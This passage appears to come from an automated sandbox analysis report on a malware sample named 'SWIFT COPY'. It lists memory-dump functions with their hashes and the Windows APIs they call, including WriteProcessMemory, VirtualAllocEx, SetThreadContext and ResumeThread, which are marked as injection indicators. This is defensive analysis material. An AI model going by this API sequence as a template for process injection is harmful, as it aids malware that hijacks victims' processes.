Source File: 00000000.00000002.1893516515.0000000009D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d40000_SWIFT COPY.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: d69ef592130ed87e7f3f86a22b5509f616f1ea27d2f9cb18f524908710dd55a2
Instruction ID: a148e4b84ce0f6a69b738be6747c1b2190ed0e401ee6545d48b3b67b39985bd0
Opcode Fuzzy Hash: d69ef592130ed87e7f3f86a22b5509f616f1ea27d2f9cb18f524908710dd55a2
Instruction Fuzzy Hash: CC31EEB5D002499FDB10CF9AD884AEEFBF5FF58320F14842AE819A7610D775A944CFA0

Function 09B73638 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 09B736C8

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 80c831ba3d50361336003fccecb92952508c95361948629578830070ed094653
Instruction ID: f42e9d9d5559b2fa75eb4b6f55bfa04f9d28aa34642652e0159c4a3d63e74917
Opcode Fuzzy Hash: 80c831ba3d50361336003fccecb92952508c95361948629578830070ed094653
Instruction Fuzzy Hash: E12127719003499FDB14DFAAC885BEEBBF5FF48320F148829E918A7240D7799940DBA4

Function 09B73061 Relevance: 1.6, APIs: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 09B730E6

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 5069afe892e4994e55f8f06e4ff71ca102d22e1e759b72b460c87e604db04866
Instruction ID: 4fd70630811b02b67b90674d9da798401163d3df5c42079f04c71994d1d5a177
Opcode Fuzzy Hash: 5069afe892e4994e55f8f06e4ff71ca102d22e1e759b72b460c87e604db04866
Instruction Fuzzy Hash: 6C2123719002098FDB14DFAAC485BEEBBF4EF98324F14842AE459A7240CB799945CFA0

Function 09B73068 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 09B730E6

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: b4c5128aaa5a475b867397be1bec98fc61df3d89df6883c577b8ab276e3ac3c4
Instruction ID: e01519ec6c27f4aae7c4ef64267b3e28ac3fe74719086756bb6fc359ac6b845f
Opcode Fuzzy Hash: b4c5128aaa5a475b867397be1bec98fc61df3d89df6883c577b8ab276e3ac3c4
Instruction Fuzzy Hash: 6E2134719003098FDB10DFAAC485BAEBBF4EF98324F14842AE419A7240DB799944CFA0

Function 09B73728 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 09B737A8

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: a43e8447ade45d6c83f51b3cbaab4b15cd9f4c7f5edff66e70787a765479f830
Instruction ID: 8e463a9e22097f07f66586d7fbfdae92165c16503c41e981d38d1b92b0465c94
Opcode Fuzzy Hash: a43e8447ade45d6c83f51b3cbaab4b15cd9f4c7f5edff66e70787a765479f830
Instruction Fuzzy Hash: AA2139B1C003499FDB10DFAAC880AEEFBF5FF48320F108429E518A7240D7799940DBA0

Function 09B73721 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 09B737A8

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 3864e16109611af9060b97dcf979c8babe1033fecdcbad0cb1bd986414a58ee6
Instruction ID: 8ee257df3126402b61ac81bb017f86cdcdfb282edc7735da48413652da0eb304
Opcode Fuzzy Hash: 3864e16109611af9060b97dcf979c8babe1033fecdcbad0cb1bd986414a58ee6
Instruction Fuzzy Hash: 432125B5800349DFDB10DFAAC985AEEFBF5FF48320F14842AE518A7250D7399944DBA0

Function 099A7B89 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 099A7C03

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fa6cb98c7f767313bd7822960a1524f20751b9afb1935e7a9339c27c5f718736
Instruction ID: c30b318d4d268e11ccc3631ded5834c48fb3fd79991710dbd4ef1af1e5ed587c
Opcode Fuzzy Hash: fa6cb98c7f767313bd7822960a1524f20751b9afb1935e7a9339c27c5f718736
Instruction Fuzzy Hash: 69212475D00249DFCB10DF9AD844ADEFBF8EB48320F14842AE458A7241D779A544CFA1

Function 09B73570 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 09B735E6

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 26dd65511ab5b5b6b0f09be52800d949d78c6e7b50e51fe6e546a41aaddbb9d6
Instruction ID: 9324d95bbc6747a96e6243777ce5094dbd46afbd6af1871f52b575f19e04a3e4
Opcode Fuzzy Hash: 26dd65511ab5b5b6b0f09be52800d949d78c6e7b50e51fe6e546a41aaddbb9d6
Instruction Fuzzy Hash: 551159718002499FDB10DFA9D845AEEBFF5EF98320F148819E515A7250CB769940CFA0

Function 09D4A5DC Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,09D4CA6A,?,?,?,?,?), ref: 09D4CF17

Memory Dump Source

Source File: 00000000.00000002.1893516515.0000000009D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d40000_SWIFT COPY.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 68f1cbcaeba9402e0ffe9bd6976befcedd5a261bef1c2980e76e13c95be7cac5
Instruction ID: 0cf8be295b8e959ee90ed246a39cfd1083b764b4d09ea8df079fc352d1ad71d1
Opcode Fuzzy Hash: 68f1cbcaeba9402e0ffe9bd6976befcedd5a261bef1c2980e76e13c95be7cac5
Instruction Fuzzy Hash: 551179B1800249DFDB10CFAAC844BEEBFF8EF58320F14841AE554A7610C379A950CFA0

Function 09D4CEA0 Relevance: 1.6, APIs: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,09D4CA6A,?,?,?,?,?), ref: 09D4CF17

Memory Dump Source

Source File: 00000000.00000002.1893516515.0000000009D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d40000_SWIFT COPY.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: ed2b18c7bc140bf7bb8581abfcb7e9b634442f54ecf8a853815cdbdfbb2b646c
Instruction ID: 390f1742b72ac0206fc47c77c922e7895e4eed2f2e87d81f149ae4fc5b6f70e2
Opcode Fuzzy Hash: ed2b18c7bc140bf7bb8581abfcb7e9b634442f54ecf8a853815cdbdfbb2b646c
Instruction Fuzzy Hash: 031146B5800249DFDB10CFAAC844BEEBFF8EF58320F14841AE954A7250C379A950DFA5

Function 099A7B90 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 099A7C03

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1456775730ebdd70d2a013a01e44731c2e51e363419d01ce6b2481494e9b0a7c
Instruction ID: 40e2a6532a095ba15afb403acfa5c0567ba3f4b4db46f2e21a4b60a27ec914f8
Opcode Fuzzy Hash: 1456775730ebdd70d2a013a01e44731c2e51e363419d01ce6b2481494e9b0a7c
Instruction Fuzzy Hash: 372103B5D00249DFCB10DF9AC884ADEFBF8FB58320F108429E858A7251D379A944CFA1

Function 09B73578 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 09B735E6

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fc7fd66c7df598a3d024afbb3fde7bac71df1d4e159debf54d0b991b55420c4d
Instruction ID: 46f851708bbe644c863251800be000a272f9fff743e49e19d9325efe29ccf24a
Opcode Fuzzy Hash: fc7fd66c7df598a3d024afbb3fde7bac71df1d4e159debf54d0b991b55420c4d
Instruction Fuzzy Hash: D51137719002499FDB10DFAAC845ADEFFF5EF98320F148819E519A7250CB769940DFA0

Function 09B72FB1 Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 09B7301A

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 9bed36cc168eb61d763c4428e6c6cb4e5352a5edd0b92e52e930c052fb06863b
Instruction ID: c35e8f7e6da27dd1be9d71023a714f08f938b78da564c1f05cc0cb5fb7788b12
Opcode Fuzzy Hash: 9bed36cc168eb61d763c4428e6c6cb4e5352a5edd0b92e52e930c052fb06863b
Instruction Fuzzy Hash: BF1176B1D00288CEDB20DFAAC4457AEFBF4EF98324F248459D019A7240CA79A840CB94

Function 04FBB860 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,04FBE32C), ref: 04FBE566

Memory Dump Source

Source File: 00000000.00000002.1889035519.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_SWIFT COPY.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 8536c4c9eeccd8aa840b12176afa6676f12beb21702f027b78d85344acf8c516
Instruction ID: 280671751ebafa1e217fa7fdd527e3dec402e964901f68dbcb05f981f040198d
Opcode Fuzzy Hash: 8536c4c9eeccd8aa840b12176afa6676f12beb21702f027b78d85344acf8c516
Instruction Fuzzy Hash: DA11F0B5D006498FDB10DF9AC844BDEFBF4EB89320F14845AE859A7201E379A546CFA1

Function 09B72FB8 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 09B7301A

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 708d39afa2cecd98e595815506249e5d186f33c539c062fda4ec0f9d1ae07341
Instruction ID: 78cebe42339dcf46980561f3d0d51d4333ae69db13b592f40fda4d4ad83bc502
Opcode Fuzzy Hash: 708d39afa2cecd98e595815506249e5d186f33c539c062fda4ec0f9d1ae07341
Instruction Fuzzy Hash: 8A1136B1D003488FDB20DFAAC4457AEFBF9EF98724F248419D519A7240CB79A940CBA5

Function 09B7059C Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 09B761BD

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 43e5102ef3cccf1abd90c6ae7e4099944755fcb138f6757d2fae7944bd95fccc
Instruction ID: 915f8b311d62851205e1efc53874eb0093d18d0374253e53da1d57b8381e53e2
Opcode Fuzzy Hash: 43e5102ef3cccf1abd90c6ae7e4099944755fcb138f6757d2fae7944bd95fccc
Instruction Fuzzy Hash: BF11F2B5900748DFCB10DF9AC848BDEFBF8EB58320F148459E918A7601C375A944CFA5

Function 09B76158 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 09B761BD

Memory Dump Source

Source File: 00000000.00000002.1893477076.0000000009B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b70000_SWIFT COPY.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 38290bc26add1265680cc9c7c5c42874b8fd42baded1a74ee24946be6bdd7b17
Instruction ID: f372d706f220d0893c3ee286278b17833eacdd16fea25eb34af3f5341062ad92
Opcode Fuzzy Hash: 38290bc26add1265680cc9c7c5c42874b8fd42baded1a74ee24946be6bdd7b17
Instruction Fuzzy Hash: F211F2B5800749DFDB10DF9AC885BDEFBF8EB58320F14845AE918A7611C375A944CFA1

Function 0112D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885311422.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_112d000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc9b234458c7a65a0da3af3a039184594db7ea67df881bacab37a26f54c13de9
Instruction ID: ac7ead0258c3d0d03af7f18882d496eae36a1f0d4ba87645d2f10c6db04c945f
Opcode Fuzzy Hash: dc9b234458c7a65a0da3af3a039184594db7ea67df881bacab37a26f54c13de9
Instruction Fuzzy Hash: 562125B1504240DFDF09DF58E9C0B26BFB5FB88318F24C569E9094B256C376D466CAA2

Function 0113D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885362073.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_113d000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d5c706795dbb5e041825616251eb5bbca2f96cbce05329bcb54ae57ec900167
Instruction ID: cc72ef30818026de09a5ecb7017f2de34c8f460fbac8448382f0a54c331a8f1a
Opcode Fuzzy Hash: 6d5c706795dbb5e041825616251eb5bbca2f96cbce05329bcb54ae57ec900167
Instruction Fuzzy Hash: 3D212971504200DFDF09DF98E5C0B26BFA5FBC8324F64C56DE9494B25AC736D406CA62

Function 0113D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885362073.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_113d000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ceed047987fbca737f333d2c226e9d83d948cc8419a85d66eaa4da93f47b78b0
Instruction ID: 60de4b4c9e898ad1ca8e207ea1512f73f60ad8c94ea5dde0e8a8b3f06d0bc6db
Opcode Fuzzy Hash: ceed047987fbca737f333d2c226e9d83d948cc8419a85d66eaa4da93f47b78b0
Instruction Fuzzy Hash: BD2103B1504200DFDF19DF58E480B16FBA5FB88B14F64C56DE9494B24AC336D407CA62

Function 0113D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885362073.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_113d000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f59cb1d129ca149c3dfc6d95bdbb9844d3b7e0c563471a4b6b8949edddbbe83
Instruction ID: b045b3f2393897d5e3d133b2012c99cf08e65452a0510bd5e343c2625996c2be
Opcode Fuzzy Hash: 3f59cb1d129ca149c3dfc6d95bdbb9844d3b7e0c563471a4b6b8949edddbbe83
Instruction Fuzzy Hash: 282180755083809FDB06CF64D994B11BF71EB86214F28C5DAD8498F2A7C33A981ACB62

Function 0112D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885311422.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_112d000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 555e834afbd1c2fd5414379b306259fbfd17fcb6917d78cd3ce2a61b5f371944
Instruction ID: 93369b73e9014f4bfaa2a801537934132b3ed96238e9d1a5d9021f37c5a20589
Opcode Fuzzy Hash: 555e834afbd1c2fd5414379b306259fbfd17fcb6917d78cd3ce2a61b5f371944
Instruction Fuzzy Hash: 9911E172404280CFDF16CF54E5C0B16BF71FB84314F24C6A9D9094B256C33AD46ACBA2

Function 0113D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885362073.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_113d000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bad08bc3297c4791243414a9a82218353e3075920b51f23bb46501d1989d77c
Instruction ID: 3773ecb5980bc706c1bb510f62406d5bc9a1d147da496f4ed31f4fff3abd49a9
Opcode Fuzzy Hash: 8bad08bc3297c4791243414a9a82218353e3075920b51f23bb46501d1989d77c
Instruction Fuzzy Hash: D411BB75504280DFDB16CF54D5C0B15BFA1FB84224F24C6A9E8494B29AC33AD40ACB62

Function 0112D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885311422.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_112d000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fbf72f5c6cb619e14a75909570e599e86738e75fe054047d35b99e0fe1b226
Instruction ID: f00cdf453eb8eb7873e8c6ec7a9d680b55bf43fca3481804675f29ed5eae1903
Opcode Fuzzy Hash: 80fbf72f5c6cb619e14a75909570e599e86738e75fe054047d35b99e0fe1b226
Instruction Fuzzy Hash: 710120710057909AEB189E99DD84B66BFD8DF41328F08C519ED094F142D33D9840C672

Function 0112D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885311422.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_112d000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e2b472563948716b2f5e4a95534f8c28efe4a07871ecd92af2d1593a6bea586
Instruction ID: 7cce955ca34334025dd78478fc974b359f13844691bf3ec7dbca73a73441aafa
Opcode Fuzzy Hash: 6e2b472563948716b2f5e4a95534f8c28efe4a07871ecd92af2d1593a6bea586
Instruction Fuzzy Hash: 7EF0C232005680AEEB158E5AD884B62FFD8EB51738F18C45AFD084B287D3799840CBB1

Non-executed Functions

Function 099AA448 Relevance: 1.6, Strings: 1, Instructions: 325COMMON

Download Yara Rule

Strings

{#L, xrefs: 099AA620

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: {#L
API String ID: 0-1361971085
Opcode ID: 18eaed715cfed09ea3b0132081d45dd287237770329d41a776e054d448d9824b
Instruction ID: a81f0e17147f18b78cf9d93dfa2c49baff72c4e2197682ac30398e2398304c14
Opcode Fuzzy Hash: 18eaed715cfed09ea3b0132081d45dd287237770329d41a776e054d448d9824b
Instruction Fuzzy Hash: 76D1E170E05219DF8B18CFAAD98459EFBF2FF88350F14D52AE419AB224DB349942CF51

Function 099AA438 Relevance: 1.6, Strings: 1, Instructions: 324COMMON

Download Yara Rule

Strings

{#L, xrefs: 099AA620

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: {#L
API String ID: 0-1361971085
Opcode ID: 12f8559de294b9de09c25a8e8c6f52149bcecbcb41d66d2b8bda0ef3687d0cf5
Instruction ID: ec9ab907247918f02eed942598a89876a810efa335bd9b9e94ff88cbd4807dfe
Opcode Fuzzy Hash: 12f8559de294b9de09c25a8e8c6f52149bcecbcb41d66d2b8bda0ef3687d0cf5
Instruction Fuzzy Hash: A8D1D170E05219DF8B18CFAAD98449EFBF2FF88350F14D52AE419AB224DB349942CF55

Function 099A39E0 Relevance: 1.4, Strings: 1, Instructions: 173COMMON

Download Yara Rule

Strings

l|, xrefs: 099A38EB

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: l|
API String ID: 0-1955549514
Opcode ID: 2d762fb1aa98fd8e54ac4bb14b4011ed799e13a1ccd86895f37f094fff948851
Instruction ID: 7ac09d3e101cc2904ff29577496ef81105b805a6b255de6396211161510ac2de
Opcode Fuzzy Hash: 2d762fb1aa98fd8e54ac4bb14b4011ed799e13a1ccd86895f37f094fff948851
Instruction Fuzzy Hash: 06613A74E1520ADFDB04CF9AC5829AEFBB2FF84340F14D569C406A7254D7359A41CBD0

Function 099A18E8 Relevance: 1.4, Strings: 1, Instructions: 171COMMON

Download Yara Rule

Strings

98R, xrefs: 099A1A43

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: 98R
API String ID: 0-576591972
Opcode ID: f955035a76382982e0eead0619e3d2f6557d120dbf38770af91653f674b75890
Instruction ID: e99836ecb075fb665434b54f7e519ce0da4713afbeddd12ae310b5da329f4187
Opcode Fuzzy Hash: f955035a76382982e0eead0619e3d2f6557d120dbf38770af91653f674b75890
Instruction Fuzzy Hash: E87116B5E0920ADFCB18CF9AD5819AEFBB1FB89350F148529D415AB314D334AA42CF94

Function 099A18D8 Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

98R, xrefs: 099A1A43

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: 98R
API String ID: 0-576591972
Opcode ID: 58ee048ab9926a549cba329a9c6d5c455b78fb60e9720e9597e8baffa4bb5cee
Instruction ID: c341fa3efcf1fedb9fd7398af2d06f8e2d4ee95bfa7fbc6b6a7cd9d1b07ff995
Opcode Fuzzy Hash: 58ee048ab9926a549cba329a9c6d5c455b78fb60e9720e9597e8baffa4bb5cee
Instruction Fuzzy Hash: 98611975E0920ADFCB18CF9AD4819AEFBB2FF89350F148529D455AB314D3349A42CF94

Function 099A8558 Relevance: 1.4, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

iUfo, xrefs: 099A867E

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: iUfo
API String ID: 0-3820436262
Opcode ID: 381cdc4cb82538566d995ff6dc85daf188a4f5e81e43ea44be10adff93eb8e93
Instruction ID: b2c6460b74b53f9007fd7323cd2433fa5153ed6dde45fb5866d27eda2142d94c
Opcode Fuzzy Hash: 381cdc4cb82538566d995ff6dc85daf188a4f5e81e43ea44be10adff93eb8e93
Instruction Fuzzy Hash: 665104B4E052199FCB48CFAAD9455DEBBF2FF88340F10952AD805B7254E7389901CB95

Function 099A8568 Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

iUfo, xrefs: 099A867E

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: iUfo
API String ID: 0-3820436262
Opcode ID: 791b502f97af7ae61454c1356bf70862267aa3612f679ca6adb617ad32d65336
Instruction ID: 505352da11f8840bcd6c137f633d419962ce26e3fcae51f0f1d8e1c21f01e412
Opcode Fuzzy Hash: 791b502f97af7ae61454c1356bf70862267aa3612f679ca6adb617ad32d65336
Instruction Fuzzy Hash: 0551E1B4E052199FCB48CFAAD9455EEFBF2FF88340F10952AE805B7254E7385942CB94

Function 099A38A0 Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

l|, xrefs: 099A38EB

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: l|
API String ID: 0-1955549514
Opcode ID: fd238953a807753add236785fcabd46de2888d752a1b7605aee6c2d417b33507
Instruction ID: 776add0f9a2ae611c645845f7eba47b376ba1f7f5349b211d4625a8d1a2e41ca
Opcode Fuzzy Hash: fd238953a807753add236785fcabd46de2888d752a1b7605aee6c2d417b33507
Instruction Fuzzy Hash: F5517D70E0560AEFDB04CFA9C4825AEFBB2FF89350F10D9AAD416A7254D7349A41CF91

Function 099A8960 Relevance: 1.4, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

w7e^, xrefs: 099A8A95

Memory Dump Source

Source File: 00000000.00000002.1893015796.00000000099A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 099A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_99a0000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: w7e^
API String ID: 0-1657886525
Opcode ID: daabe8513ca79a1febe3143430be3fced687376498ad0c99b04a8855c7791b3f
Instruction ID: da1ed3eb62cfa9e1340da06fbb075e2c8739773e19e9d9532b642b2b66ea2f95
